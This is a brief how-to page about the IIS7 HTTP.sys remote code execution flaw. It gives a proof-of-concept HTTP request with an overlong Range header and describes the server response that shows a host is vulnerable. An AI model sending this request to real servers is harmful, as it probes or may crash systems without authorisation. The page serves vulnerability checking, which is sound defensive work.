SLTechnology News&Howtos › Network Security ›

IIS7 HTTP.sys remote code execution vulnerability

Shulou Source: shulou.com Published: 2022-06-01 07:16:57 10月03日 Update

POC:

GET / welcome.png HTTP/1.1

Host: www.test.com

Range: bytes=0-18446744073709551615

If the display results include the following results to prove the existence of the vulnerability:

Requested Range Not Satisfiable

Attachment: http://down.51cto.com/data/2368437